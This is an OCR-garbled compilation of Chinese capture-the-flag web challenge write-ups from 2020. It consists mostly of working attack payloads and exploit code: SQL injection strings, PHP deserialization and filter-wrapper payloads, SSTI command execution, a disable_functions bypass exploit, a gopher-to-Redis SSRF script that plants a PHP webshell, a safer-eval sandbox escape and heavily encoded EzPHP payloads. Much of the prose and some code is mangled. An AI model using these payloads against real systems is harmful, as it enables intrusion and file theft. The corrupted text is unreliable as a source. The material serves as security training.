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HRME—NWAE, REEFRERFR

Application Security Lighthouse Adblock Plus HackBar
hble cache  Online

Al XHR JS CSS Img Media Font Doc WS Manifest Other Has blocked cookies

100 ms 150 ms 200 ms 250 ms

Headers Preview Response Inmtiator Timing Cookies
LONTEeNT- Iype: text/ntml; charset=UlF-4

Date: Mon, 26 Oct 2820 81:56:39 GMT
Hint:| select * from "admin' where password=md5($pass,true)
Server: openresty

Transfer-Encoding: chunked hitps://blog.csdn.net/gq_4

A LLEFISQLIEA]. X BEIFEMDS H R E <A 2 AT LAy DUX A F F

select * from ‘admin’ where password="‘or'1’

X B PHPARIG A LA BIMDS R E KA T “or1...

<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') l== false)

echo "\nmd5($i) = " . md5($i, true) . "\n";

echo ".";

?>

H2Iffifdyop 7 &, NG H B

Do You Like MD5?

HHEHTMLIER K BLER 2 PHP YRS



$GET['a"];
$_GET['b'];

if($a != $b & md5($a) == md5($b)){

// wow, glzjin wants a girl friend.

1%, f#fHa=QNKCDZO&b=s214587387a B LLE[iLA F—3K
T—Rthss TR, NdXKREEMEE

<?php
error_reporting(0);

include "flag.php";
highlight file(_ FILE_ );

if($ _POST[ 'paraml']!==$ POST[ 'param2']&&md5($ POST[ 'paraml'])===md5($ _POST[ 'param2'])){
echo $flag;

RIEPHP ) —Le4e %, AT LLAIEMDS iR b B 420 23R Blnull, BT BAlparam1[]=1&param2[]=2 7] L £ Zlflag.

md5(array()) = null

shal(array()) = null

ereg(pattern,array()) = null vs preg match(pattern,array) = false
strcmp(array(), "abc") = null

strpos(array(),"abc") = null

P 45 2020 24 AreUSerialz

highlight_file(__ FILE_ );

class FileHandler {

protected $op;
protected $filename;
protected $content;

function _ construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();

public function process() {
if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");




private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
¥
$res = file put contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {

$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);

}

return $res;

private function output($s) {
echo "[Result]: <br>";

echo $s;

function _ destruct() {
if($this->op === "2")
$this->op = "1";

$this->content = ;
$this->process();

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;

if(isset($_GET{'str'})) {
$str = (string)$ GET['str'];

if(is_valid($str)) {
$obj = unserialize($str);




B So Xt AR 3SR B str# Wy BLTH 19 7 15 b AifE asciifi 32~125 2 [A] .

. RIERFFIPAT BN E B desctruct(); FWiop, WRA2MESEFHBEN.

. TEprocess()E FFop N1 FHwrite() B . 2 read()Ei%. BTUARAIT E K218 Hread )BR%. B LA RELLAT 4 R Hioxt
op EHT A .

. BATR LLE BT R R Xtop i A T R BRARSE, BN LEAIMRFR R, BRI R Bk opse UL AT LAST .

. A Fpayload Rt T .

<?php
class FileHandler {

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

function _ construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();

public function process() {
if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

private function output($s) {




function _ destruct() {
if($this->op === "2")

$this->op = "1";

$this->content = "";

// $this->process();

b
$A=new FileHandler();

$B=serialize($A);
echo $B;

GYCTF2020 Blacklist

HEBIEN + handler

';show databases; \EEHHE E
';show tables; \\EFEHIER

';show columns from FlagHere; \\BFEHFERFHFESL
';handler FlagHere open as p;handler p read first;handler p close;

58 A 2019 B £ v

LA VRS
return preg_match("/selectlupdate|delete|droplinsertjwhere|./i",$inject);

11';show columns from ~1919810931114514° ; \\W L& B|flagflfEXANH 7R+

TR LB EISR, SA2MMER, AN Rwords R MK

S

1'or'1 ‘ 23F

array(2) {

[o]=>

string(1) “17

[1]=>

string(7) “hahahah”
}

array(2) {
[o]=>
string(1) “27
[1]=>
string(12) “"miaomiaomiac”

}

arrayi?) |
(ol=>
string () “1145147
[1]=>
string(2) “ys”

REEET =MIE



1. 1';handler ~1919810931114514  open;handler ~1919810931114514° read first;handler ~1919810931114514  close;

2. 1';SeT@a=0x73656C656374202a2066726F¥6d20603139313938313039333131313435313460; prepare execsql from
@a;execute execsql;
I BAL BEE Q) AT SQLIE A .
0Xx73656C656374202a2066726¥6d20603139313938313039333131313435313460 s select * from * 1919810931114514 "#+
N, FRACER & B S e

3. 1'; rename table words to wordl; rename table ~1919810931114514° to words; alter table words add id int

unsigned not Null auto_increment primary key ; alter table words change flag data varchar(100);

FAEINE ) RwordsZ, FrLl¥F 1919810931114514 % E £y 4 Awords.

GKCTF2020 cvehj % 2

RIEHR R £ K CVE-2020-7066 ) IRIF TS, K Iget headers()iR HUR I 7 75 &M .
- C & bugs.php.net/bug.php?id=79329

This was tested on PHP 7.3, but the function has always had this bug.

The test script shows that this can cause well-written scripts to get headers for an unexpected domain. Those headers
could leak sensitive information or unexpectedly contain attacker-controlled data.

Test script:
<?php

// user input
$ GET['url'] = "http://localhost\®.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);

if (substr($host, -12) !== '.example.com') {
die();

¥

$headers = get_headers($_GET['url']);

var_dump($headers);

Expected result:

Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL

Actual result:

http://localhost]

headers from

BT LT url=http://127.0.0.1%00.ctfhub.com & B3N ULHH Tips: Host must be end with '123"
B LA % payload Ny url=http://127.0.0.123%00. ctfhub. com

BJDCTF2020 Mark loves cat

FRE

PRI .git BFRME, githackIKEVJED



'flag.php';

$handsome = 'yds';

foreach($ _POST as $x => $y){
$$x = $y;

foreach($ _GET as $x => $y){
$$x = $3y;

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GETHHXf&flagRatfs— A flag=flag

exit($handsome);

if(lisset($_GET['flag']) && !isset($_POST['flag'])){ //GETHIPOSTHH 2 —hZiftflag
exit($yds);

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GETHIPOSTfsflag, b RERflag=flag
exit($is);

echo "the flag is: ".$flag;

1. AR AT DUR BB A MBI A S 2 NPT &, BT ARA ST B &5 — P & Zlflag il .

2. {H foreach($_GET as $x => $y){ $$x = $$y; } FEXEEE, payload Ny yds=flag ,ifiid GET/4i%iX Mpayload, FEK
GETHIPOSTHR & F fLikiflag, Fril&it syds TEFINE .

BJDCTF2020 The mystery of ip



SSTREAN
W WA 5| %: Smarty, Mako, Jinja2, Jade, Velocity, FreemakerfiTwig, iR MK 5 i Bl

a{*comment*}b

Unknown

{77 <

Not vulnerable Unknown

KMESEATR: Tpimap

smartyEiRiE A payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{{system("1s")}}

{ readfile('/flag') }

{if show_source('/flag"')}{/if}
{ system('cat /flag') } //payload

2020.10.27

BJDCTF2020 ZJCTF, A it

php At



https://github.com/epinna/tplmap

<?php

error_reporting(9);

$text = $ GET["text"];

$file = $ GET["file"];

if(isset($text)&&(file get contents($text, 'r')==="I have a dream")){
echo "<br><h1>".file get contents($text,'r')."</h1i></br>";
if(preg_match("/flag/",$file)){

die("Not now!");

include($file); //next.php

¥

else{
highlight file(_ FILE_ );

1. TR, BHEK $_GET["text"] FHFH JEXHL, RERECS:, XHEANBEBHESET I have a dream .
2. RIEBHEHIRR, $_GET["file"] % T next.php »
3. textA £ AT LARERE, filelW ] LU php://filter Dyl
payloadl: ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

payload2: ?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
5. next.php B

function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")',$str);

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";

function getFlag(){
@eval($_GET['cmd']);

5. R#EgetFlag()PAT R Zifn 4 3k Bflag
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

GKCTF2020 CheckIN

AL AT + bypass PHP7.0-7.3 disable_function



<?php
highlight file(_ FILE );
class ClassName
{
public $code = null;
public $decode = null;
function _ construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64 decode( $this->code );

@Eval($this->decode);

public function x()

{
return $ REQUEST;

¥

new ClassName();

K AR iEbase64 N & A& A8t 1T LATAAT A0RS

MR phpinforl LAF EI W] $h4T 2 2t fir & B B SRR 1

disable functions pentl_alarm,pentl_fork,pentl_waitpid, pentl_wait,pentl
_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pentl_
wifcontinued,pecntl_wexitstatus,pentl_wtermsig, pentl
_wstopsig,pentl_signal, pentl_signal_get_handler,pcnt
| signal_dispatch,pcntl_get_last_error,pentl_strerror,
pcntl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pcntl_exec,pentl_getpriority, pentl_setpriority, pc
ntl_async_signals,system,exec,shell exec,popen,proc
_open,passthru,symlinklink,syslog,imap_open,|d.dl,

WOIEHER S, payload: @eval(\$_POST['reader']);hn /& H4iHEQGV2YWwoIF9QTINUNydyZWFKZXInXSk7 F B S AR 2 %

[V flag

[ readflag

start.sh
A DU BB flaghI A, Kix 82 ARG 4% 2 AR 45 83 bypass disable_function, &i#Tdr4.
PHP 7.8-7.3 disable functions bypass PoC (*nix only)
Bug: https://bugs.php.net/bug.php?id=72530

This exploit should work on all PHP 7.8-7.3 versions

o H o H

Author: https://github.com/mmerl

pwn("/readflag ge——""

function pwr|($cmd)| {
global $abcs—$helper;

function str2ptr(&$str, $p = @, $s = 8) {
$address = 0;
for($] = $s-15 $j >= @; $j--) {

BE XA bypass A AT L& Zlflag


https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

GKCTF2020 £ )\ /Mg i L

ShopXO J5 & getshell

1. FTFF3RIE, Fshopxo & W #E,B%E robots. txt

: /index.php?s=/admin*

: /index.php?s=/install*
: /index.php?s=/api*

: /admin¥*

: /api*

: /install*

: /*respond.php

: /*notify.php

: /public*

2. $TFadmin.php, FIF 5 04 admin shopxoi# A5 &
3. shopxofs & &R AR E shell

Getshell 33 &

1. 25 SR EIN A AP O-R R E-E 8, AR5 T ERBOA .

ShopXO EasE=Ek

ChopXO wmmiE &4 =8 =

[ mREmE
(et - fEEDE)

RITE. FEEI9%RIERE]

BRES » EH5EFApache2 TR ETE, 7
) BIEES

) psETE

@l mEET > = ﬁ _u\ EE%E

© FhwsE > s

, » 0 g m TR https//shopxone
B EfI=/NERE ; - S
@ HE/INER = s

© Qu/INER

B == i
3 J EeiElR
;- %K‘}EEIE be = o

= : ] -
e -EEE Frm: https://lenge.com/

H o


https://www.nctry.com/1660.html

AU e BN pE 100

SRR | 181+ VIPIERIGEs pC/HS5 /8
R FRsIS EEFARES FEEMST, SRNMEEES, WM EE
=Pl |l

2. FTHTRMEBR —NLER, REEwebshelllfFE 45 default_static. BF T
3. EFBIMIT L, REIMEEEE-FAEE-EE R REEFRINAshel)5 i 3 /8 E 5 QAT 245
ShopXO Eaamss:

B s
O EEw tE—izipERENEETER

4. ZERIE, shelBATLUAAT, Viia bk
http://xo0000x.com/public/static/index/default/php_assert.php (php_assert.phps2webshell3C44)

5. &ZFlwebshelfs, HAWRE R KRKIflag e, B2 EmErEKagiE/rootl % T, HEZREF#H N/rootH F* AR
6. BIF auto.sh A

Jauto.sh

1 #!/bin/sh
2 while true; do (python /var/mail/makeflaghint.py &) && sleep 6@; done
3

7 AW FE hiavhanaillanaloAfla akind oo A Ao b2 HATR AT D b 422 Z R AN R DM 02330 /AN A rh WUz A A 1D B A~ A rh S R A~



(. BAivdainaniaReiayinniupy gy Ry XA H] LATNT) ZRILAI Y o V1 LATIA™ |7 11 1T 457 Hay il i Y 1Idy 1117 == Hay o

0s.system("whoami"

os.system("cat /root/flag >> flag")

gkl=str(time.ctime())

gk="\nGet The RooT,The Date Is Useful!"
f=i0.open("/flag.hint", "rb+")
f.write(str(gkl))

f.write(str(gk))

f.close()

GKCTF2020 EZ= §1| % -EzZWeb

1. BEIEY, IR ?secret, RIEGETEXRE
ethl Link encap:Ethernet HWaddr 02:42: 0a:fa: 4c:09
inet addr:10.250.76.9 Bcast:10. 250, 76, 2656 MNask: 256, 266, 2B6. 0
UP BROADCAST RUNNING MULTICAST MTU: 1450 Metric:l
F¥ packetsz: 30 error=z: 0 dropped: 0 overrunsz: 0 frame: 0
TX packetz: 29 errorz:0 dropped: 0 overruns:0 carrier:0

collizions: 0 txqueuelen: 0
EX bytes: 4843 (4.8 KB} TN bytes:5301 (5.3 KB}

ethl Link encap:Ethernet HWaddr 02:42: ac:12:00:11
inet addr:172.18.0.17 EBcast:172.18. 255,256 Mask: 2b56. 265.0.0
UP BROADCAST RUNNING MULTICAST MTU: 1600 Metric:l
F¥ packetz: 9 errors: 0 dropped: 0 overrunz: 0 frame:(
TX packetz: 0 errors:0 dropped: 0 overruns:0 carrier:0
collizions: 0 txqueuelen: 0
EX bytes: 726 (728.0 B} TX bytes:0 (0.0 B}

1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask: 265.0.0.0
UP LOOPBACE RUNNING MIU: 65536 Metric:l
F¥ packetz: 0 errors: 0 dropped: 0 overrunz: 0 frame:(
TX packetz: 0 errors:0 dropped: 0 overruns:0 carrier:0
collizions: 0 txqueuslen: 1000
EX bytes:0 (0.0 B} TX bytes:0 (0.0 B}

2. LLERIAMMEL, 26 url ZHER TSSRFENNMIP, ERMHKIMAR—T

# -*- coding: utf-8 -*-

# By: reader-1

import threading

import queue

import sys

import requests

from subprocess import Popen, PIPE

url = "http://069789al-fd04-490e-al2a-414b3cac8907.node3.buuoj.cn/index.php"
#t EX—NE EASHqueue
class DoRun(threading.Thread):

def _init_ (self, queue):
threading.Thread. init (self)
self. queue = queue

def run(self):
# IETIEEE
while not self. queue.empty():
ip = '10.250.76."' + self. queue.get()
# sys.stdout.write(ip+"\n")
param = {

‘url':ip,

"submit': 'R’



}

header =
'User-Agent': 'Mozilla/5.0 (X11; Linux x86 64; rv:76.0) Gecko/20100101 Firefox/76.0"

}

r = requests.get(url,params = param,headers = header)

# print(r.url)
r.encoding = r.apparent_encoding
html = r.text
# print(html)
if len(html)!=421:
if '429' not in html:
sys.stdout.write(ip + ' is UP.\n")

def main():
threads = []
threads_count = 5
queuel = queue.Queue()

# A ipHiik
for i in range(1, 255):
queuel.put(str(i))

for i in range(threads_count):
threads.append(DoRun(queuel))

for i in threads:
i.start()

in threads:
i.join()




3. BIPIRIXE W, 7 10.250.76.11 FAM—EXIE

Your url

WIREI T BFEFEER R ECRS S EREF ! . BRI Em M

4. 1B O, RIN 6379 4 DA redis RS

5. H file W EEHUCAF url=file:%20/var/www/html/index.php

<?php

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl _setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl _close($ch);

if(isset($_GET[ 'submit'])){
= $ GET['url'];
//echo $url."\n";

if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|1localhost/is"', $url,$match))
{

//var_dump($match);

die("HIXHE");

¥

curl($url);

}
if(isset($_GET['secret'])){
system('ifconfig');

?>

6. gopher HHi Ewebshell, X E B4 HIRIFENTRedis ' SSRFHIF A


https://www.redteaming.top/2019/07/15/%25E6%25B5%2585%25E6%259E%2590Redis%25E4%25B8%25ADSSRF%25E7%259A%2584%25E5%2588%25A9%25E7%2594%25A8/#Redis%25E9%2585%258D%25E5%2590%2588gopher%25E5%258D%258F%25E8%25AE%25AE%25E8%25BF%259B%25E8%25A1%258CSSRF

# -*- coding: utf-8 -*-
import urllib.parse

protocol = "gopher://"

"10.250.76.11"

"6379"

= "\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd = ""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:

cmd.insert (0, "AUTH {}".format(passwd))

payload = protocol + ip + + port + "/_
def redis_format(arr):

CRLF = "\r\n"

redis_arr = arr.split(" ")

cnd = "*"
cmd += "*" + str(len(redis_arr))
for x in redis_arr:

cmd += CRLF + "$" + str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}","
cmd += CRLF

return cmd

if __name__ == "_ main__ ":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

print(payload)

7. VY519 10.250.76.11/shell.php EZlflag

70 R [0 S —

GKCTF2020 EZ= §1| % -EzNode

Nodejs N B i $k5 1+ saferEval ¥ #5 1%i&
1. TR FRRY

express = require('express');
bodyParser = require( 'body-parser');

saferEval = require('safer-eval'); // 2019.7/WORKER1 #Z|—AMBEEHIE
fs = require('fs');
app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 ZEWii AT aiiHENIL




app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);

if (Number.isInteger(parseInt(req.query.delay))) {

delay = Math.max(delay, parseInt(req.query.delay));
¥
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 ZEMULILIIM—THE, RREEXHET T, HMANS TEREpE
setTimeout(() => {

clearTimeout(t);

console.log('timeout");

try {

res.send('Timeout!");
} catch (e) {

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
catch (e) {

response = ‘'Wrong Wrong Wrong!!!!"';

.send(String(response));

// 2019.10/WORKER1 ERIRVLMETF BIRATKIVRAND, FITHIHHKPI

app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js"));

})s

// 2019.12/WORKER3 AT T ERECEFEMA, M EXEO

app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));

1)

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html"))

}

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')

1)




2. HiHEY, %S AT saferEval g, https://github.com/commenthol/safer-evallissues/10 B LLiki& 4T B 4if4d. REE
BEERBZEA /eval ,
3. BT RSRIE BRI delay SES5MRGH 2 LK delay #HTHLE:, BFEFEKRM delay .
4. settimeout® 24 delay KT 2147483647 s/ T 1 B, W delay K&k E N 1.
setTimeout(callback, delay], ...args])
FrigT: v0.0.1
e callback <Function> 4iERTSER|SRHERKRSEE,
e delay <number> if§F3 callback ZEiIZEH
e ...args <any> 4iEH callback FHEARIOEESE],
e jR[A]: <Timeout> FHF clearTimeout() .

ZHHE delay =02 ST —RIAY callback,

callback DIBERRASHITE delay EREHER . Nodejs AMFIFEREHATAAIFTINE, LAMREEET. EREEEREEAEERREREA.

2 delay AT 2147483647 m/IVE 1 Y, W delay BfficER 1. PR delay SifailTAZEE.
B callback A~2EREL, WHBH TypeError,

W AEE— P EHRNAET promise FIZSMA, £ util.promisify() BlEE:

util = require( 1E

setTimeoutPromise = util.promisify(setTimeout);

setTimeoutPromise(48, ) -then{(value) => {
E prida))

hitps://blog.csdn.net/aqq_

5. FrbAtn B2 /i B R BV Fiipayload, /)5 K45 R XK
flag{6e27248d-908c-4ac4-83d5-979e80a34dc6}

e ]j Elements Console Sources Network Performance Memory Application Security Lighthouse

LOAD SPLIT EXECUTE TEST -~ sQLl -~ XSS -~ LFI -~ SSTI -~ ENCQ

http://ebc8b91d-15fd-4221-873d-ca1f09ffb208.node3.buuoj.cn/eval?delay= 2147483648

Enable POST application/x-www-form-urlencoded d

e=clearlmmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat
/flag").toString()

BJDCTF2020 Cookie is so stable


https://github.com/commenthol/safer-eval/issues/10

Twig B SSTI
SSTI HIR ] ARHE — H) ¥ & 4= 2B

1. ST ERIERE, RUBRKE

2. BMHINR Twig BER

Submit

GET /flag.php HTTP/1.1 A .!l'ul
Host: 97a927ec—d4d1-4245-adc0~613cd0f5f46a. noded. buuoj. cn - o <_/cl:u->
Cache—Control: maz—age=0 60 {Sfdivy
Upgrade—Insecure—Requests: 1

61 <fnavy

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winfi4; x64) AppleWebEit/537.38 (KHTML, like Gecko)
Chrome /86. 0. 4240. 111 Safari/537.386

Accept:

text/html, application/shtml+xnl, application/zml; q=0. 9, image/avif, inage/webp, image/apng, */*;q=0. 8
,application/signed—exchange ; v=h3;q=0.9

Referer: http://97a927ec—d4d1-4245-adcl-613cd0f3f 46a. node3. buuoj. en/flag. php

Accept-Bncoding: gzip, deflate

Accept-Language: zh-CN, zh;¢=0. 9, zh-TW.q=0. § /

Coolsie: PHPSESSID=8387e60c2af52f3chlededdI1120F13d; usex={[T+" 7"}]

Connection: close

<div class="container panell”>
{div class="row" >
<div elass="col-md-4">

fdivy
<div class="col-md-4">
<div class="jumbotron pan”>

<div class="form-group log

67 <lakel>

<h2y ]
Hello 49 't

amoan

3. RRMBE AT, cookie E—¥ Twig Wpayload: {{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("cat /flag")}}
Accept-Language: zh-CN, zh:q=0.9, zh-TW ¢=0. &
Coolie: PHPSESSID=8387e60c2af32f3chlededd91120f13d: user= -
{{_self. env.registerUndefinedFilterCallback ("exec™)}} {{_self. env. getFilter ("cat fflag™)}}
Comnection: close

BJDCTF2020 EasySearch

1. PR &4 S index. php. swp

%417 Class— JumpoTron pan /

<div class="form—group log” >
<label>
<h2>»

Hello flag{b9d13e37—£25c—43ab-bdTe-T295fac51abh}

</h2x
</label>

<div class="row pt-3"»


https://zhuanlan.zhihu.com/p/28823933

<?php
ob_start();
function get hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$% &* ()+-";
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].%$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ra
nd(©,73)];//Random 5 times
$content = uniqid().$random;
return shal($content);

b
header("Content-Type: text/html;charset=utf-8");
k k%
if(isset($_POST['username']) and $_POST[ 'username'] != "' )
{
$admin = '6dobcl’;
if ( $admin == substr(md5($ _POST[ 'password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '

k %k k
%k %k 3k

<h1>Hello, '.$_POST[ 'username'].'</hl>
3k k%

fwrite($shtml,$text);
fclose($shtml);
3k k%
echo "[!] Header error ...
} else {
echo "<script>alert('[!] Failed')</script>";

}else

2. HIHHY, BANEARE—TEN, BEBERN 2020666

import hashlib
for i in range(1,10000000) :
res=hashlib.md5(str(i).encode()).hexdigest()
if res[:6]=="6dObcl":
print(str(i))
break

3. BT REMFFEALAN shtml KIXXHFHEANE.

L& Fflag: <!--#exec cmd=




BJDCTF2020 EzPHP

XA~— g th Reasy, BEYIngFEKIWPEMS T —i L, wicl
W5 _Ey1ng & WP

1. HTMLYBRD {7 7E R GFXEIM3YFZYGQ4A= , base32f#i578 2] 1nD3x. php
2. Vil &R


https://www.gem-love.com/ctf/770.html

<?php
highlight file(_ FILE );
error_reporting(9);

"1nD3x.php";
= $ GET['shana'];
= $ GET['passwd'];

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good
Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqual|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|
sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct]|ech
o|print|pi|\.|\"|\'|log/i"', $_SERVER['QUERY_STRING'])
)

die('You seem to want to do something bad?');

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/”~aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $ GET["file"];
echo "Neeeeee! Good Job!<br>";

}

} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i"', $value))
die('fxck you! I hate English!');

if (file_get contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( shal($shana) === shal($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know shal! why you come here!");

if(preg_match('/~[a-z0-9]*$/isD', $code) ||
preg match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass]|eval|sort|shell|ob|start|mail |\ |\{|\%|x|\&]|\$|\*|\]|]\

<[\"|\"|\=|\?|sou|show]|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\*/i", $arg) ) {

die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {

include "flag.php";

$code('", $arg);
} o>




preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show

| cont |high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct]|echo|print|
pi|\.|\"|\"|log/i', $ SERVER['QUERY_STRING'])

FHF $_SERVER[ 'QUERY_STRING' ] A& HIIENTURLSIS, ALK E S5 URLencode Fi K i%E

4. FRE

preg match('/”aqua_is_cute$/', $ _GET['debu']) && $_GET['debu'] !== 'aqua_is_cute’

~ ILEEF L, $ LR R, EEEXBRBEMEITE.
BT A 805 4 75 RE LIS debu=aqua_is_cute%ea

5 B=F

foreach($ REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i"', $value))
die('fxck you! I hate English!');
¥

$_REQUEST AJ LAFRU GET 1 PoST %, 1HZ—M AW PosT 1, FTLA posT —ANE7= 28 R (1) (B it vl A Gt

6. HINE

shal($shana) === shal($passwd) && $shana != $passwd

shal BRER TTEAEEAR, WR shal FHSECA—AHA S| WarningHiR [FlFalse

7. LR

file get contents($file) !== 'debu_debu_aqua’

X B Hdatath i ] LLGEIT file=data://text/plain,debu_debu_aqua

8. XEIREEEMMT, XEBEbanTHNEZHAREGWS, H2 $code F $arg AI#E, FrPARTMEF create_function fAH%IE
N

if(preg_match('/~[a-z0-9]*$/isD', $code) ||
preg match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass]|eval|sort|shell|ob|start|mail |\ |\{|\%|x|\&]|\$|\*|\]]\
<|\"|\"|\=|\?|sou|show]|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|[\*/i"', $arg) ) {

die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {

include "flag.php";

$code('', $arg);

4ifdAl: debu=aqua_is_cute

&shana[ |=1&passwd[ ]=2&flag[arg]=}var_dump(get_defined vars());//&flag[code]=create_function&file=data://text/pla
in,debu_debu_aqua

post: file=1&debu=1

TG JG : %64%65%62%75=%61%71%75%61%5F%69%73%51%63%75%74%65%0a8%73%68%61%6e%61 [ 1=18%70%61%73%73%77%64[ 1=28%66%6C%61
%67 [%61%72%67 |=}var_dump(get_defined _vars());//&%66%6c%61%67 [ %63%6T%64%65]=create_function&file=data://text/plai
N, %64%65%62%75%5F%64%65%62%75%5F%61%71%75%61




9. BRIX B K EIEKflag?E realflag.php XHEH
Baka, do you think it's so easy to get my [[E}e? I hid the real [{EJ) in rea1flag.php 23333}

10. FEI realflag.php 85K B ¥ payload

http://e2bd7e71-e188-4eb5-88db-6209e7585e8. node3.buuoj.cn/1nD3x . php?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75
057 4%65%0a8%7 3%68%61%6e%61 [ 1=18%70%61%73%73%77%64[ | =28%66%6C%61%67 [ %61%72%67 1=} require (~(%8F%97%8%c5%d0%d0%99%96
003%8b%9a%8d%d0%8d%9a%9e%9b%c 2%9 c%90%91%89%9a%8d%8b%d1%9d%9e%8 c%9a%c9%cb%d2%9a%91%0 c%90%9b%0a%d0%8d%0a%8 c%90%8a%

8d%9c%9a%c2%8d%9a%9ek%ce%s99%93%cb%98%d1%8f%97%8F) ) ; var_dump(get_defined_vars());//8%66%6c%61%67 [ %63%61%64%65]=cre
ate_function&file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61

1. &5k Flbaseb4 %L, A% EZfag.

<html>

<head>

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<title>Real_Flag In Here!ll</title>

</head>

</html=>

<?php
echo 'BE, {REARIIET? | FEBIXTELTAERREEZTINagn!
Sfdke_flag = "BJD{1am_a_fake_f41111g23333}";
Sreal_f1114g = "flag{20bf6177-fc2b-49f8-8c0b-554b459736¢ce}",;
